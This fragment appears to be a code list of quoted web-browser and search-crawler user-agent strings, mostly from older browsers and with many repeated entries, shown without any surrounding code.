'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
